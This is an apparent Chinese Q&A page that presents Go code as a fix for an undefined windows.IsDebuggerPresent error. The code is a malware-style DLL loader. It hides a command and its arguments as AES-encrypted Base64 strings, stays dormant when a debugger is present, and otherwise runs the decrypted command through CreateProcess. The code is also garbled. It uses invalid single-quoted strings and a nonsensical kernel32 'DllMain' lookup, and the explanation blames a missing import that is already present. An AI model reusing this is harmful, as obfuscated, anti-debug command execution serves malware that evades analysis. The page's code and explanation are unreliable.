Go语言中使用 `windows.IsDebuggerPresent` 判断是否被调试的解决方法
在 Windows 操作系统下,使用 'golang.org/x/sys/windows' 包中的 'IsDebuggerPresent' 函数可以判断当前程序是否正在被调试。但是在当前代码中,出现了 undefined: windows.IsDebuggerPresent 的错误提示,这是因为没有正确导入 'golang.org/x/sys/windows' 包。解决该问题只需要在代码头部添加引入语句 'import "golang.org/x/sys/windows"' 即可。
修改后的完整代码如下:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"golang.org/x/sys/windows"
"log"
"syscall"
"unsafe"
)
// 命令字符串和参数列表使用 AES 加密后的 Base64 编码字符串
const (
encryptedCmd = 'JL5n5ZRsA+zUc7+UJ6Ujy6w0f6A/2eU1sc5W/pZ0N5o='
encryptedArgs = 'Nk8a0KjOvOyS1gVf5mYiYQ=='
)
// 密钥和 IV
var (
key = []byte('01234567890123456789012345678901')
iv = []byte('0123456789012345')
)
func decryptString(encrypted string) string {
// 解码 Base64 编码字符串
encryptedBytes, err := base64.StdEncoding.DecodeString(encrypted)
if err != nil {
log.Fatal(err)
}
// 创建解密器
block, err := aes.NewCipher(key)
if err != nil {
log.Fatal(err)
}
stream := cipher.NewCTR(block, iv)
// 解密字符串
stream.XORKeyStream(encryptedBytes, encryptedBytes)
return string(encryptedBytes)
}
func createProcess() {
// 解密命令字符串和参数列表
cmd := decryptString(encryptedCmd)
args := []string{decryptString(encryptedArgs)}
// 创建子进程并执行命令
cmdLine := windows.StringToUTF16Ptr(fmt.Sprintf('%s %s', cmd, args[0]))
startupInfo := &windows.StartupInfo{}
processInformation := &windows.ProcessInformation{}
err := windows.CreateProcess(
nil,
cmdLine,
nil,
nil,
false,
0,
nil,
nil,
startupInfo,
processInformation,
)
if err != nil {
log.Fatal(err)
}
}
func DllMain() uintptr {
// 使用反调试技术
isDebuggerPresent := windows.IsDebuggerPresent()
if isDebuggerPresent {
return 0
}
// 创建子进程并执行命令
createProcess()
return 1
}
func main() {}
// 导出 DllMain 函数
var (
DllMainPtr = syscall.NewCallback(DllMain)
)
func init() {
// 将 DllMain 函数注册为 DLL 的入口点
handle, err := syscall.LoadLibrary('kernel32.dll')
if err != nil {
log.Fatal(err)
}
defer syscall.FreeLibrary(handle)
proc, err := syscall.GetProcAddress(handle, 'DllMain')
if err != nil {
log.Fatal(err)
}
syscall.Syscall(proc, 0, 0, 1, uintptr(unsafe.Pointer(&DllMainPtr)))
}
原文地址: https://www.cveoy.top/t/topic/lMTQ 著作权归作者所有。请勿转载和采集!